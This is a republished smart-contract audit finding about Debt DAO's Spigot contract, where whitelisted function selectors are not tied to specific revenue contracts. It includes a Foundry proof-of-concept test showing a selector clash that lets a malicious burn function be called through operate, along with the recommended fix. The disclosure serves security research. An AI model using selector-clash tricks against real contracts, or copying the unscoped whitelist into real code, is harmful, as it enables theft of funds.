Skip to content
Access control Audit finding Advanced

Whitelisted functions aren’t scoped to revenue contracts and may lead to unnoticed calls due to selector clashing

Whitelisted function selectors in the Spigot contract are not tied to specific revenue contracts, so a selector approved for an innocent function can also match a malicious function in another contract. An attacker could exploit this selector clash to call a harmful function through the Spigot's operate function.

adriro Follow with berndartmueller, bin2chen and 3 others

Originally disclosed on Code4rena

Submitted by adriro, also found by berndartmueller, bin2chen, Jeiwan, Ruhum, and rvierdiiev

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L67

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L14

Whitelisted functions in the Spigot contract don’t have any kind of association or validation to which revenue contract they are intended to be used. This may lead to inadvertently whitelisting a function in another revenue contract that has the same selector but a different name (signature).

Impact

Functions in Solidity are represented by the first 4 bytes of the keccak hash of the function signature (name + argument types). It is possible (and not difficult) to find different functions that have the same selector.

In this way, a bad actor can try to use an innocent looking function that matches the selector of another function (in a second revenue contract) that has malicious intentions. The arbiter will review the innocent function, whitelist its selector, while unknowingly enabling a potential call to the malicious function, since whitelisted functions can be called on any revenue contract.

Mining for selector clashing is feasible since selectors are 4 bytes and the search space isn’t that big for current hardware.

This is similar to the attack found on proxies, documented here and here.

Proof of Concept

In the following test, the collate_propagate_storage(bytes16) function is whitelisted because it looks safe enough to the arbiter. Now, collate_propagate_storage(bytes16) has the same selector as burn(uint256), which allows a bad actor to call EvilRevenueContract.burn using the operate function of the Spigot.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file Spigot.t.sol.

contract InnocentRevenueContract {
    function collate_propagate_storage(bytes16) external {
        // It's all safe here!
        console.log("Hey it's all good here");
    }
}

contract EvilRevenueContract {
    function burn(uint256) external {
        // Burn the world!
        console.log("Boom!");
    }
}

function test_WhitelistFunction_SelectorClash() public {
      vm.startPrank(owner);

      spigot = new Spigot(owner, treasury, operator);

      // Arbiter looks at InnocentRevenueContract.collate_propagate_storage and thinks it's safe to whitelist it (this is a simplified version, in a real deploy this comes from the SpigotedLine contract)
      spigot.updateWhitelistedFunction(InnocentRevenueContract.collate_propagate_storage.selector, true);
      assertTrue(spigot.isWhitelisted(InnocentRevenueContract.collate_propagate_storage.selector));

      // Due to selector clashing EvilRevenueContract.burn gets whitelisted too!
      assertTrue(spigot.isWhitelisted(EvilRevenueContract.burn.selector));

      EvilRevenueContract evil = new EvilRevenueContract();
      // ISpigot.Setting memory settings = ISpigot.Setting(90, claimPushPaymentFunc, transferOwnerFunc);
      // require(spigot.addSpigot(address(evil), settings), "Failed to add spigot");

      vm.stopPrank();

      // And we can call it through operate...
      vm.startPrank(operator);
      spigot.operate(address(evil), abi.encodeWithSelector(EvilRevenueContract.burn.selector, type(uint256).max));
  }

Recommendation

Associate whitelisted functions to particular revenue contracts (for example, using a mapping(address => mapping(bytes4 => bool))) and validate that the selector for the call is enabled for that specific revenue contract in the operate function.

dmvt (judge) decreased severity to Medium

kibagateaux (Debt DAO) acknowledged


The original report as published on Code4rena, by adriro. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A bad actor could get a malicious function called through the Spigot by tricking the arbiter into whitelisting a selector that clashes with an innocent function.

What the attacker needed

Arbiter whitelists a selector; attacker can deploy a contract with a clashing selector; operator calls operate

The fix

Whitelisted functions should be associated with particular revenue contracts, for example using a nested mapping, and the operate function should validate that the selector is enabled for that specific contract.

How it was found

  1. The arbiter whitelists a selector for an innocent-looking function.
  2. Because selectors are not scoped to contracts, the same selector is also whitelisted for a malicious function in another contract.
  3. The operator calls the malicious function through the Spigot's operate function.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Smart contracts have functions, and each function is identified by a short code called a selector. The Spigot contract lets an arbiter approve (whitelist) selectors, but it does not check which contract the selector belongs to. If two different functions happen to have the same selector, approving one also approves the other, which could let someone run a harmful function.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by adriro

View all

57 more disclosed reports, best first.

More from Debt DAO contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.